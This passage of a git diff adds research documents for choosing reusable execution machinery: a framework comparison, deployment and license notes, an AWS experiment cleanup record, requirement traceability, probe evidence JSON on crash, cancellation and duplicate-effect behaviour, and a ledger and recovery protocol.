recovery. Application process loss was tested, not machine power loss or a distributed deployment. | Reuse checkpoints, queueing and workflow management. RAE must guard each effect against unauthorized replay, classify uncertainty and reconcile engine history with its operation store. Reusing SQLite does not make their transactions automatically atomic together. | +| Temporal | Service history and task queues coordinate application workers. Workflow and activity state remain engine execution state, distinct from RAE's operation outcome. | Service persistence is separate from worker memory. Worker loss was tested with a live, in-memory development server; service/storage loss and production HA were not tested. | Reuse durable dispatch, workflow history, retry controls and heartbeat cancellation. RAE still owns effect admission, outcome evidence, quarantine and cross-store reconciliation. Disable or guard retries where repetition is unauthorized. | +| Celery/task queue (source comparison only) | Task routing and workers provide mature dispatch. Acknowledgement, retry and revocation settings require deliberate configuration. | A broker/result store adds operations; task status is not a durable RAE semantic history or effect witness. No Celery experiment was run. | Reuse at an existing backend task boundary; building the complete orchestration/recovery layer around it leaves more general machinery for RAE to implement than the selected composition. | +| ROS 2 actions | Backend action server owns goal handling; executor/callback configuration governs responsiveness. Client receives goal/cancel acknowledgements, progress and results. | The tested action protocol is not RAE's durable operation store. Node/middleware loss needs separately defined recovery and effect observation. | Reuse an action protocol and clients/servers at suitable backend boundaries. RAE must correlate goal/control identities, validate backend claims and map results. An action status cannot replace domain evidence. | +| Ray actors | Ray schedules actor processes; actor methods can serialize work. Same-actor control can queue behind a blocked method. Alternate concurrency/control arrangements need separate tests. | Configurable restart and task retries; application state recovery is the application's responsibility. Actor death is distinct from cessation of downstream effects. | Reuse placement, process actors and worker recovery. RAE retains durable authority, retry permission and reservations. Value increases if distributed computation is a real workload requirement, which these probes did not establish. | +| SimPy | Cooperative, deterministic event processing can provide a semantic-time scheduler under RAE's declared time authority. | In-memory event queue is not durable operation history. A blocking callback blocks event stepping. | Reuse event ordering and process interrupts. RAE retains multi-domain time interpretation, external execution, independent apparatus supervision and any restart representation. | +| BehaviorTree.CPP | Tick-driven reactive composition with lifecycle/halting hooks. Action implementations supply nonblocking execution and actual interruption behavior. | Tree state and an action's worker/effects are distinct. Persistence and RAE settlement are not supplied by the tested halt operation. | Reuse behavior composition where semantics match. Translating SDL workflows would need semantic validation, not just an API adapter. Backend-local use has a narrower integration boundary. | + +## Deployment obligations + +| Candidate | Added deployment responsibility if selected | Initial license observation | +| --- | --- | --- | +| AnyIO | Python library; local child processes where selected; packaging/IPC and host supervision. Existing HTTP offload already uses AnyIO indirectly. | MIT | +| DBOS | Python library plus system database. SQLite is supported; vendor recommends Postgres for production. Distributed recovery adds coordination choices. | MIT | +| Temporal | Python workers plus the selected self-hosted service and its persistence. Version compatibility and workflow upgrades become operational concerns. | Python SDK and server: MIT | +| ROS 2 | ROS distribution, client libraries, generated action types and selected middleware; discovery/executor configuration and upgrades. | rclpy: Apache-2.0; not an audit of the ROS distribution | +| Ray | Ray runtime processes, worker resource configuration and potentially a cluster; application checkpoint/upgrade policy. | Apache-2.0 | +| SimPy | Python library; RAE integration with semantic time and execution boundaries. | MIT | +| BehaviorTree.CPP | C++ library/build toolchain or backend process boundary; behavior-node integration. | MIT | + +License identifiers were checked against upstream repository metadata, not +assumed from the category. Transitive licenses, vulnerability posture, supported +platforms across RAE's Python range, production operations and total ownership +cost remain adoption checks. No candidate's documentation benchmark is treated +as a RAE performance measurement. No production dependency was added. + +## Selection rationale and alternatives + +Select Temporal Server/Python SDK/PostgreSQL for the connected distributed +composition, with the authority and failure rules in ADR-113. Its service/worker +separation, durable execution history, queues and operational tooling match that +composition directly. Preserve existing AnyIO/SQLite local compositions; do not +build a distributed scheduler from those primitives. Local library suitability +and distributed execution suitability are different selection questions. + +DBOS is a credible alternative, including distributed queues; neither the probes +nor this assessment establish a throughput ranking or show it incapable. Its +embedded orchestration model offers a smaller service footprint. Temporal's +separate execution service and worker lifecycle are the selected operational +trade-off. Celery is established task machinery, but would leave more durable +orchestration/history/recovery integration to RAE. Reopening the decision needs +a concrete unsupported requirement or measured operational problem. + +ROS actions, Ray actors, SimPy and BehaviorTree.CPP address complementary needs. +Adopt them at a backend seam only when its effect, compute, time or control +contract needs them; their presence cannot create a second scenario interpreter. +No package is selected because all digital twins are assumed to be robots, all +AI research requires Ray, or all failures should trigger workflow recovery. + +[Contextual policy](authored-retry-policy.md) is common admission machinery with +different author-selected responses: experiment invalidation/fresh trials, +twin time/state reconciliation, OT safe-process response, and IT restoration or +retry where appropriate. Defaults resolve by scenario and lexical scope; +idempotency does not imply author permission. The candidate's own retry defaults +must implement that resolved policy or be disabled for the effect concerned. + +Deployment cost is a trade-off, not grounds to move RAE responsibilities into a +backend. The selected components require no paid software or hosted service. +Transitive dependencies and platform support remain package-admission checks; +no claim that every ecosystem package or optional commercial feature is free +follows from the directly checked licenses. + +## Primary sources + +- AnyIO: [threads](https://anyio.readthedocs.io/en/stable/threads.html), + [processes](https://anyio.readthedocs.io/en/stable/subprocesses.html), + [repository](https://github.com/agronholm/anyio). +- DBOS: [architecture/recovery](https://docs.dbos.dev/architecture), + [Python databases](https://docs.dbos.dev/python/tutorials/database-connection), + [cancellation](https://docs.dbos.dev/python/tutorials/workflow-management), + [repository](https://github.com/dbos-inc/dbos-transact-py). +- Temporal: [activities](https://docs.temporal.io/activities), + [service](https://docs.temporal.io/temporal-service), + [Python cancellation](https://docs.temporal.io/develop/python/workflows/cancellation), + [SDK](https://github.com/temporalio/sdk-python), + [server](https://github.com/temporalio/temporal). +- ROS: [action protocol](https://design.ros2.org/articles/actions.html), + [callback groups](https://docs.ros.org/en/ros2_documentation/kilted/How-To-Guides/Using-callback-groups.html), + [rclpy](https://github.com/ros2/rclpy). The action design document is historical; + executable observations use the recorded Jazzy packages, not an assumed latest distribution. +- Ray: [actors](https://docs.ray.io/en/latest/ray-core/actors.html), + [fault tolerance](https://docs.ray.io/en/latest/ray-core/fault_tolerance/actors.html), + [cancellation](https://docs.ray.io/en/latest/ray-core/api/doc/ray.cancel.html), + [repository](https://github.com/ray-project/ray). +- SimPy: [scheduling](https://simpy.readthedocs.io/en/stable/topical_guides/time_and_scheduling.html), + [repository](https://github.com/simpx/simpy). +- BehaviorTree.CPP: [asynchronous actions](https://www.behaviortree.dev/docs/tutorial-basics/tutorial_04_sequence/), + [repository](https://github.com/BehaviorTree/BehaviorTree.CPP). +- Celery (source-only): [task execution and acknowledgements](https://docs.celeryq.dev/en/stable/userguide/tasks.html), + [worker revocation](https://docs.celeryq.dev/en/stable/userguide/workers.html). +- PostgreSQL: [license](https://www.postgresql.org/about/licence/). diff --git a/docs/research/execution-architecture/cloud-cleanup.json b/docs/research/execution-architecture/cloud-cleanup.json new file mode 100644 index 000000000..77a97719d --- /dev/null +++ b/docs/research/execution-architecture/cloud-cleanup.json @@ -0,0 +1,56 @@ +{ + "schema": "rae.execution-experiment-cleanup/v1", + "profile": "catalyst-dev", + "region": "us-east-2", + "stack_name": "rae-1350-experiments-20260923", + "stack_status": "DELETE_COMPLETE", + "instance_launch_utc": "2026-09-23T02:21:38Z", + "stack_deletion_complete_utc": "2026-09-23T02:35:03Z", + "resources": { + "instance": "i-077968adda5c8517e", + "volume": "vol-08169e8000d3189a1", + "network_interface": "eni-09ff348f1eb4762f3", + "subnet": "subnet-0adc6d31269ad61d1", + "security_group": "sg-00d6cb6b32a857e89", + "role": "rae-1350-experiments-20260923-Role-jooMOFJuHj2R", + "instance_profile": "rae-1350-experiments-20260923-Profile-aDzafOad5qOF" + }, + "verification": { + "instance": [ + "terminated" + ], + "volume": [], + "interface": [], + "subnet": [], + "security_group": [], + "role": { + "result": "NoSuchEntity", + "exit_code": 254 + }, + "profile": { + "result": "NoSuchEntity", + "exit_code": 254 + }, + "default_subnets": [ + { + "Id": "subnet-08827c5dbc4520d4c", + "Cidr": "172.31.0.0/20" + }, + { + "Id": "subnet-0ebdef2813812d8df", + "Cidr": "172.31.16.0/20" + }, + { + "Id": "subnet-00684b34f43fec00c", + "Cidr": "172.31.32.0/20" + } + ] + }, + "notes": [ + "Verified with direct EC2 and IAM reads after CloudFormation DELETE_COMPLETE.", + "Three original default VPC subnets remain unchanged.", + "Root disk and ENI deleted; public address was auto-assigned, no EIP allocation.", + "CloudFormation and SSM retain service history records; no live experiment resources remain.", + "Local experiment sources, evidence, and private lifecycle records retained." + ] +} diff --git a/docs/research/execution-architecture/decision-discussion.md b/docs/research/execution-architecture/decision-discussion.md new file mode 100644 index 000000000..3044cb712 --- /dev/null +++ b/docs/research/execution-architecture/decision-discussion.md @@ -0,0 +1,48 @@ +# Decision disposition and canonical traceability + +[ADR-113](../../decisions/adrs/adr-113-reusable-execution-machinery.md) is the +single accepted execution-architecture decision for #1350. It replaces the +provisional Temporal/PostgreSQL discussion previously kept here. Acceptance +selects an architecture; it does not claim a runtime implementation or P3. + +The design resolves the earlier worker-authorization, ledger/history and +stale-owner questions in the [execution protocol](execution-protocol.md). +[Contextual failure and retry policy](authored-retry-policy.md) records author +control, scenario/scoped defaults, and distinct experiment, twin, IT and OT +responses. The [comparison](candidate-comparison.md) and +[experiments](experiment-report.md) retain alternatives and evidence limits. + +## Canonical requirement mapping + +API-404 is the issue's assigned requirement and remains ACTIVE for its existing +P0–P2 clauses. Add DOCUMENTS traceability for this design and mechanism evidence; +retain existing IMPLEMENTS/TESTS assertions at their stated scope. Other owners +below retain their statements and statuses, including all DRAFT time owners. +This disposition does not claim their missing implementation has shipped. + +| Canonical owner | Evaluation relationship and remaining boundary | +| --- | --- | +| [API-404](../../requirements/API-404/requirement.md), C1–C4 | Single state authority, atomic settlement, startup without implicit replay, bounded served supervision and profile nonclaims. Toy publication and candidate probes are not production conformance evidence. | +| [API-402](../../requirements/API-402/requirement.md), [API-403](../../requirements/API-403/requirement.md), [RUN-304](../../requirements/RUN-304/requirement.md) | Submission/status/history remain portable; any new invocation/control/evidence carriers need governed publication. | +| [RUN-300](../../requirements/RUN-300/requirement.md), [ASR-532](../../requirements/ASR-532/requirement.md) | Shared RAE runtime drives backends and validates results; worker/library adoption does not transfer semantic authority. | +| [DSL-113](../../requirements/DSL-113/requirement.md), [SEM-203](../../requirements/SEM-203/requirement.md), [SEM-204](../../requirements/SEM-204/requirement.md) | Authored workflow/attempt/retry and compensation rules govern effects, rather than engine retry defaults. | +| [SEM-227](../../requirements/SEM-227/requirement.md), [SEM-228](../../requirements/SEM-228/requirement.md), [SEM-229](../../requirements/SEM-229/requirement.md), [RUN-317](../../requirements/RUN-317/requirement.md), [RUN-318](../../requirements/RUN-318/requirement.md), [API-421](../../requirements/API-421/requirement.md) | Scenario-time pause and apparatus time are distinct. SimPy demonstrates a mechanism only; clock mappings, restart continuity and multiple time domains remain untested. DRAFT owners remain DRAFT. | +| [SCE-006](../../requirements/SCE-006/requirement.md), [SCE-007](../../requirements/SCE-007/requirement.md), [EXP-706](../../requirements/EXP-706/requirement.md), [EXP-712](../../requirements/EXP-712/requirement.md), [SCE-002](../../requirements/SCE-002/requirement.md) | No framework restart may silently allocate another attempt/trial or establish clean state. The probes do not implement trial admission or cleanup verification. | +| [RUN-310](../../requirements/RUN-310/requirement.md), [RUN-311](../../requirements/RUN-311/requirement.md), [SEM-222](../../requirements/SEM-222/requirement.md) | Participant episode/termination authority is separate from an engine task or backend goal lifecycle. No participant semantics changed. | +| [RUN-316](../../requirements/RUN-316/requirement.md) | Operational status is distinct from experiment evidence. The independent witness deliberately measures effects separately from framework status. | + +## Acceptance mapping + +| Issue criterion | Delivered artifact and verification | +| --- | --- | +| Compare applicable patterns and reusable seams | Candidate comparison and ADR-113 alternatives; primary sources, explicit deployment/license observations and seven retained candidate probes. | +| State/worker ownership, supervision, scheduling, persistence, backend/deployment/failure boundaries | ADR-113 component/interface diagram and execution protocol; single semantic authority and explicit loss-window table. | +| Bounded evidence for blocked calls, cancellation, recovery and duplicate effects | Original source-hashed evidence/report plus independent local recheck; witness assertions distinguish effects from framework status. | +| One accepted decision with canonical traceability | ADR-113, ADR index/pin and API-404 DOCUMENTS entries; targeted governance and pin checks. | +| Author retry/default/context clarifications | Authored retry-policy design, scenario/nested/local resolution, context-specific failure response and mixed-scope compatibility. Future schema/compiler/runtime support is explicitly unclaimed. | + +API-404-C1 is preserved by one state writer and atomic publication; C2 by +retained claims and observation before a newly authorized effect; C3 by scoped +supervisory authorization and bounded control paths; C4 by keeping P3 unavailable +and excluding implicit tenant/coordination claims. Existing supervision and +profile tests check their current boundaries, not distributed conformance. diff --git a/docs/research/execution-architecture/evidence.json b/docs/research/execution-architecture/evidence.json new file mode 100644 index 000000000..86265a525 --- /dev/null +++ b/docs/research/execution-architecture/evidence.json @@ -0,0 +1,658 @@ +{ + "schema": "rae.execution-experiment-evidence/v1", + "date": "2026-09-23", + "python": "3.12.3", + "platform": "Linux-7.0.0-1012-aws-x86_64-with-glibc2.39", + "python_packages": [ + "anyio==4.15.1", + "attrs==26.1.0", + "certifi==2026.7.22", + "charset-normalizer==3.5.1", + "click==8.5.0", + "dbos==3.0.0", + "filelock==4.0.1", + "greenlet==3.5.6", + "idna==3.20", + "iniconfig==2.3.0", + "jsonschema==4.26.0", + "jsonschema-specifications==2025.9.1", + "msgpack==1.2.2", + "nexus-rpc==1.4.0", + "packaging==26.3", + "pluggy==1.6.0", + "protobuf==7.36.2", + "psycopg==3.3.6", + "psycopg-binary==3.3.6", + "Pygments==2.21.0", + "pytest==9.1.1", + "python-dateutil==2.9.0.post0", + "PyYAML==6.0.3", + "ray==2.58.0", + "referencing==0.37.0", + "requests==2.34.2", + "rpds-py==2026.6.3", + "simpy==4.1.2", + "six==1.17.0", + "SQLAlchemy==2.0.54", + "temporalio==1.33.0", + "types-protobuf==7.35.1.20260906", + "typing_extensions==4.16.0", + "urllib3==2.8.0", + "websockets==17.1" + ], + "ros_packages": [ + "ros-jazzy-action-tutorials-interfaces\t0.33.11-1noble.20260902.024042", + "ros-jazzy-behaviortree-cpp\t4.10.0-1noble.20260902.082337", + "ros-jazzy-rclpy\t7.1.12-1noble.20260902.053513" + ], + "source_sha256": [ + "113dbc62df2be37924b124ee2c2abdaea7e0ea35a15d8beb5c928d5e49aaca2c dbos_worker.py", + "0533b361058deb1813d8e364b04eef27ab35aa692b0474eae9e98cf814adbc68 probe_dbos.py", + "d874b4c6ba98e7999ee1cbcfc3379917ac70a3cae9f527f873ef16737acc6b61 probe_publication.py", + "982ed3fe873176f5a4ba3b0c30d8d9c823fdd593af62e6e643f17fac7d1dee9f probe_ray.py", + "46f1409a772f007a4dcf788c77821ed870cc80f74e5ee5d75f7c6bee555e2c1b probe_ros.py", + "9335ab9b9129ddb6cea683a0e94cc35c3ca7d3a868216fe80c9fac617ba30861 probe_simpy.py", + "7b12c63f91a0a138553acd7c2f5bad4b0016804581e68eba19caf0604a746517 probe_temporal.py", + "85e03d1d1f43e560e67dc5eba57fb80a016391ebdd4dc83cc9354d78988dc788 probe_workers.py", + "56529d06d2a23fc4c6d4d20968744e6805a71b45c46b61009277609886f44592 temporal_worker.py", + "d6613b18a645861fd6b7322e1650a62b237b6be5e64d9a93f00aae02abd7ac69 test_witness.py", + "26c63959b52ea4c6f4e77902a9a18acf0ba97304dd91f7a9ff6feac4571ce51f witness.py", + "5ddee1930148fdf0ac2301cf153070965571efe32df3cbf559448783d67a7074 probe_bt.cpp", + "2076c13bcaf289d344665d7c24c8ecef4fc43d09121a710f1d7300fb24f158b8 CMakeLists.txt" + ], + "witness_tests": "...\n----------------------------------------------------------------------\nRan 3 tests in 0.578s\n\nOK\n", + "temporal_environment": { + "cli": "1.9.1", + "server": "1.32.0", + "persistence": "in-memory", + "loss_boundary": "worker process, not service" + }, + "results": { + "anyio": { + "thread": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 525.66545347 + ] + ], + "caller_pids": [ + 4688 + ] + }, + "local_cancel_return_seconds": 0.0016588409999940268, + "after_local_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 525.66545347 + ] + ], + "caller_pids": [ + 4688 + ] + }, + "caller_process_alive_after_cancel": true, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 525.66545347 + ], + [ + "effect", + 526.365592469 + ] + ], + "caller_pids": [ + 4688 + ] + } + }, + "process": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 526.718613595 + ] + ], + "caller_pids": [ + 4697 + ] + }, + "local_cancel_return_seconds": 0.0031917039999598273, + "after_local_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 526.718613595 + ] + ], + "caller_pids": [ + 4697 + ] + }, + "caller_process_alive_after_cancel": false, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 526.718613595 + ], + [ + "effect", + 527.418764818 + ] + ], + "caller_pids": [ + 4697 + ] + } + }, + "saturation": { + "shared_capacity_control_expired": true, + "separate_capacity_status": "status", + "witness_at_separate_status": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 527.634117148 + ] + ], + "caller_pids": [ + 4688 + ] + } + } + }, + "dbos": { + "unguarded": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 529.4805973 + ], + [ + "effect", + 529.48068209 + ] + ], + "caller_pids": [ + 4726 + ] + }, + "after_recovery": { + "requests": 2, + "effects": 2, + "events": [ + [ + "request", + 529.4805973 + ], + [ + "effect", + 529.48068209 + ], + [ + "request", + 531.262332609 + ], + [ + "effect", + 531.262407148 + ] + ], + "caller_pids": [ + 4726, + 4736 + ] + }, + "worker": { + "result": "effect-returned", + "status": "SUCCESS" + } + }, + "guarded": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 534.336986398 + ], + [ + "effect", + 534.337016095 + ] + ], + "caller_pids": [ + 4748 + ] + }, + "after_recovery": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 534.336986398 + ], + [ + "effect", + 534.337016095 + ] + ], + "caller_pids": [ + 4748 + ] + }, + "worker": { + "result": "indeterminate-no-second-invocation", + "status": "SUCCESS" + } + }, + "cancellation": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 538.116096225 + ] + ], + "caller_pids": [ + 4767 + ] + }, + "status_after_cancel": "CANCELLED", + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 538.116096225 + ], + [ + "effect", + 538.916246631 + ] + ], + "caller_pids": [ + 4767 + ] + }, + "following_step_executed": false + } + }, + "temporal": { + "temporal-crash-2": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 548.418652553 + ], + [ + "effect", + 548.418724706 + ] + ], + "caller_pids": [ + 5034 + ] + }, + "after_recovery": { + "requests": 2, + "effects": 2, + "events": [ + [ + "request", + 548.418652553 + ], + [ + "effect", + 548.418724706 + ], + [ + "request", + 551.419929791 + ], + [ + "effect", + 551.420034051 + ] + ], + "caller_pids": [ + 5034, + 5096 + ] + }, + "result": "effect-returned" + }, + "temporal-crash-1": { + "worker_crash_exit": 73, + "after_crash": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 562.00034272 + ], + [ + "effect", + 562.000412499 + ] + ], + "caller_pids": [ + 5111 + ] + }, + "after_recovery": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 562.00034272 + ], + [ + "effect", + 562.000412499 + ] + ], + "caller_pids": [ + 5111 + ] + }, + "error_type": "WorkflowFailureError" + }, + "temporal-cancel-uncooperative": { + "at_cancel": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 574.580207594 + ] + ], + "caller_pids": [ + 5184 + ] + }, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 574.580207594 + ], + [ + "effect", + 575.380334751 + ] + ], + "caller_pids": [ + 5184 + ] + }, + "settlement_seconds": 0.8114476210000703, + "workflow_status": "COMPLETED", + "result": "effect-returned" + }, + "temporal-cancel-cooperative": { + "at_cancel": { + "requests": 0, + "effects": 0, + "events": [], + "caller_pids": [] + }, + "later": { + "requests": 0, + "effects": 0, + "events": [], + "caller_pids": [] + }, + "settlement_seconds": 0.043978476000006594, + "workflow_status": "CANCELED", + "error_type": "WorkflowFailureError" + } + }, + "ray": { + "configured_retry": { + "result": "completed", + "witness": { + "requests": 2, + "effects": 2, + "events": [ + [ + "request", + 543.343976226 + ], + [ + "effect", + 543.344088061 + ], + [ + "request", + 544.3138101 + ], + [ + "effect", + 544.313912033 + ] + ], + "caller_pids": [ + 4940, + 4939 + ] + } + }, + "control_on_same_actor_blocked": true, + "at_kill": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 544.349559141 + ] + ], + "caller_pids": [ + 4939 + ] + }, + "after_kill": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 544.349559141 + ], + [ + "effect", + 545.349701126 + ] + ], + "caller_pids": [ + 4939 + ] + } + }, + "ros": { + "ros-accept": { + "at_request": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 579.460144349 + ] + ], + "caller_pids": [ + 23 + ] + }, + "at_cancel_reply": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 579.460144349 + ] + ], + "caller_pids": [ + 23 + ] + }, + "cancel_reply_seconds": 0.005308084000034796, + "cancel_return_code": 0, + "goals_canceling": 1, + "terminal_status": 5, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 579.460144349 + ], + [ + "effect", + 580.260273152 + ] + ], + "caller_pids": [ + 23 + ] + } + }, + "ros-refuse": { + "at_request": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 580.270511766 + ] + ], + "caller_pids": [ + 23 + ] + }, + "at_cancel_reply": { + "requests": 1, + "effects": 0, + "events": [ + [ + "request", + 580.270511766 + ] + ], + "caller_pids": [ + 23 + ] + }, + "cancel_reply_seconds": 0.005622269000014057, + "cancel_return_code": 0, + "goals_canceling": 0, + "terminal_status": 4, + "later": { + "requests": 1, + "effects": 1, + "events": [ + [ + "request", + 580.270511766 + ], + [ + "effect", + 581.070629401 + ] + ], + "caller_pids": [ + 23 + ] + } + } + }, + "simpy": { + "paused_virtual_time": 0, + "apparatus_elapsed_seconds": 0.10013592300003893, + "interrupt_trace": [ + [ + "interrupted", + 0 + ] + ], + "blocking_callback_holds_step": true + }, + "publication": { + "race": [ + { + "requested": "SUCCEEDED", + "won": true + }, + { + "requested": "CANCELLED", + "won": false + } + ], + "terminal": [ + "SUCCEEDED", + 1 + ], + "audit": [ + [ + "SUCCEEDED" + ] + ], + "lost_ack_readback": [ + "SUCCEEDED", + 1 + ], + "scope": "SQLite toy transaction boundary; no external fencing claim" + }, + "behaviortree": { + "probe": "behaviortree", + "initial_running": true, + "halt_callback_count": 1, + "effects_at_halt": 0, + "effects_after_halt": 1, + "halt_return_seconds": 0.000005533 + } + } +} diff --git a/docs/research/execution-architecture/execution-protocol.md b/docs/research/execution-architecture/execution-protocol.md new file mode 100644 index 000000000..0b0c01978 --- /dev/null +++ b/docs/research/execution-architecture/execution-protocol.md @@ -0,0 +1,136 @@ +# Ledger, execution and recovery protocol + +Integration rules adopted by [ADR-113](../../decisions/adrs/adr-113-reusable-execution-machinery.md). +These describe the selected design and implementation obligations, not a shipped +PostgreSQL provider, wire protocol or P3 conformance result. The existing +[supervision model](../../../specs/formal/runtime-control-plane/supervision.md) +continues to own operation outcomes. Internal claim phases below are not new +portable operation states. + +## Admission and dispatch + +1. The authenticated RAE admission boundary resolves the authored policy and + verifies the selected composition, plan, actor, target/run, capability and + willingness. The scoped state writer atomically records the immutable + operation/request commitment and admitted command reference. This is ledger + authority, not a second scheduler or a replacement broker. +2. Start Temporal using a stable identity bound to that admitted operation and + execution generation. Reject duplicate/reused identities; an existing + execution must match the ledger binding. A timeout starting the workflow + triggers readback or resubmission of that same identity, not a new operation. + Start reconciliation uses the ledger's retained nonterminal commands and + Temporal's duplicate-start controls, not a custom durable delivery queue. +3. The trusted effect worker decodes a bounded versioned command and authenticates + to RAE's state authority. Fetch and verify the admitted commitment, artifact + digest and selected capability there. An opaque engine ID, replayed activity + output, process-local planner registration or possession of a secret + reference cannot establish worker authority. Resolve credentials only after + authorization through the backend's scoped secret mechanism. +4. Immediately before external execution, ask the current state writer to + consume a **one-use invocation claim**, tied to operation, authored attempt, + worker identity, expected owner generation and conflicting-effect scope. + The transaction rechecks policy/budget and admission state, records the + invocation and retains its effect reservation. Cancellation committed before + this cut prevents dispatch. The first confirmed consumer alone may invoke; + duplicated delivery can observe the existing claim, never receive another + invocation permission for it. No database transaction remains open across + the backend call. +5. A lost claim acknowledgement is not a reusable grant. Fail closed and + reconcile unless the protocol proves that this exact live consumer received + and has not used a valid grant. In the initial conservative design, ambiguous + grant delivery admits no invocation. A confirmed grant can still outlive a + caller or owner: retain its reservation until cessation/effect evidence + accounts for it. This deliberately trades liveness for honest effect scope. +6. Workers return correlated backend results/evidence to the state authority; + they do not write snapshots. Validate against the trusted predecessor, + admitted policy and native result/release validators. Atomically commit the + permitted snapshot change, terminal operation and matching audit, using + revision comparison. Engine acknowledgement happens after that cut. Repeated + terminal-commit requests resolve through the same immutable identity/readback. + +Temporal replay may repeat bookkeeping activities and may redeliver an effect +task, but it cannot consume the same invocation claim twice. An explicitly +permitted retry needs a new admitted attempt/invocation and the +[resolved author policy](authored-retry-policy.md). It is not forbidden merely +because it is a retry. Conversely, backend idempotency alone cannot authorize it. + +## Failure windows + +| Lost boundary | Recovery action; effect authority | +| --- | --- | +| Before admission commit | Read by scoped request identity to resolve commit uncertainty; do not enqueue an unconfirmed operation. | +| Admission committed, start absent/ack lost | Reconcile/start the same engine identity from the ledger. No effect exists solely from this command record. | +| Start recorded, invocation not consumed | Redelivery still needs the current claim gate. A cancellation or owner change can deny it. | +| Claim consumed, worker dies before or after backend call | Treat the effect as unknown until validated observation plus cessation establishes otherwise. Do not infer absence from missing engine result. | +| Effect applied, worker/result acknowledgement lost | Observe using the same invocation identity; never replay it to discover the answer. A different authorized retry follows the policy and retained reservation rules. | +| Result received, ledger commit uncertain | Close mutation readiness, read the ledger's atomic cut, and reconcile. No receipt says success before a confirmed commit. | +| Ledger terminal committed, engine acknowledgement lost | Return the committed outcome to a duplicate bookkeeping request; never invoke the backend to regenerate it. | +| Cancel and completion race | Serialize their admissible state cuts. A control receipt records a request; only evidence permits cancellation settlement. A validated completion can win. | +| Late result after terminal or owner replacement | Validate scope/generation and attach through the existing linked-resolution authority where admissible. Do not rewrite the immutable terminal parent or allow a stale writer to commit. | +| Engine history expired/reset/manually redriven | Consult retained ledger identity/claims first. History absence is no new permission. Missing or inconsistent binding closes admission for that scope. | + +The probe evidence covers representative duplicate effects, cancellation and +publication cuts, not this entire end-to-end protocol. The claim mechanism +requires a transactional provider and tests against the actual engine/backend +composition before it can be advertised. + +## Supervision and bounded ownership + +An independently authorized supervisor binds its own actor and unique request +identity to the original operation scope. Persist the request at the same state +authority, then dispatch it through the separate control workers. Backend +refusal is a disposition; timeout is uncertainty; neither is cessation. Stop +admission immediately where permitted while separately accounting for active +effects. An observation/control callback must not acquire the blocked effect +worker's capacity or long-lived permit. + +Provision independent bounded admission, worker, store-connection and rejection- +audit capacity for control. Give every callback/commit/drain a finite stage +budget and retain unresolved reservations after budget expiry. Service/store +unavailability can prevent semantic mutation; it must still yield a bounded +unavailable response. No service queue promises physical interruption during its +own outage. Use backend containment evidence when a stronger admitted guarantee +requires it, or refuse that operation before execution. + +Exactly one current state writer owns each admitted target/run scope. For the +future remote provider, owner admission/renewal uses PostgreSQL transactions and +a monotonically changing generation; every mutation compares it. A partitioned +writer that cannot validate current ownership cannot commit or issue a new +grant. This is a store fence only. A worker holding an earlier confirmed grant +may still act, so ownership replacement preserves all consumed claims and +effect reservations. A new owner may reconcile/control those invocations, but +cannot admit conflicting effects until the required cessation or isolation is +established. No lease timeout alone releases them. + +Federated homes cannot both own the same effect scope. Migration requires an +explicit admission-stop and ownership handoff, retained state/claims, scoped +credential revocation, and reconciliation of outstanding effects. If a backend +cannot establish a required fence/cessation, keep the scope quarantined. Parallel +execution uses the existing admitted independence/resource-reservation rules; +it cannot be enabled simply by adding workers. + +## Restore, retention and upgrades + +Temporal and the ledger have independent persistence transactions and backups, +even when hosted on one PostgreSQL installation. Restore into **closed effect +admission** with fresh deployment authority. Establish backend inventory and +effect scope, restore compatible command/history bindings, and reconcile each +potentially active invocation before reopening. A ledger rolled back before a +consumed claim is especially dangerous: its apparently absent record is not +absence of an external effect. Reconcile the whole affected deployment scope, +including resources no longer represented in the backup. If that inventory or +containment cannot be established, do not reopen that scope. + +Do not allow restored engine tasks to dispatch against an empty/new ledger. +Mismatch of deployment generation, operation commitment or version fails closed. +Backend state backups, trial evidence and semantic-clock continuity have their +own restore obligations; an orchestration restore cannot certify them. Fresh +trials require their own isolation/clean-state admission after recovery. + +Retain deduplication/claim and resolution records at least as long as any +possible effect, replay or admitted recovery requires them. Engine history +retention alone cannot govern their deletion. Unsupported recovery windows are +refused, not bridged by blind execution. Versioned workflow workers and ledger +carrier migrations must preserve these bindings and remaining budgets. Do not +roll over a history until pending controls and claimed effects have an explicit +handoff; retain old workers for outstanding compatible histories. diff --git a/docs/research/execution-architecture/experiment-report.md b/docs/research/execution-architecture/experiment-report.md new file mode 100644 index 000000000..65f3f0e64 --- /dev/null +++ b/docs/research/execution-architecture/experiment-report.md @@ -0,0 +1,162 @@ +# Experiment report — 2026-09-23 + +Status: bounded mechanism evidence supporting +[ADR-113](../../decisions/adrs/adr-113-reusable-execution-machinery.md). The raw +[evidence](evidence.json) contains counters, event ordering, observed PIDs, +framework results, versions, and SHA-256 digests of all thirteen executed source +files. Those digests were checked against the retained source after retrieval. +This is one final complete run, preceded by setup/debug runs; it is not a +statistical performance study. + +## Interpretation for the design + +Backend cooperation is a prerequisite, including truthful refusal when a 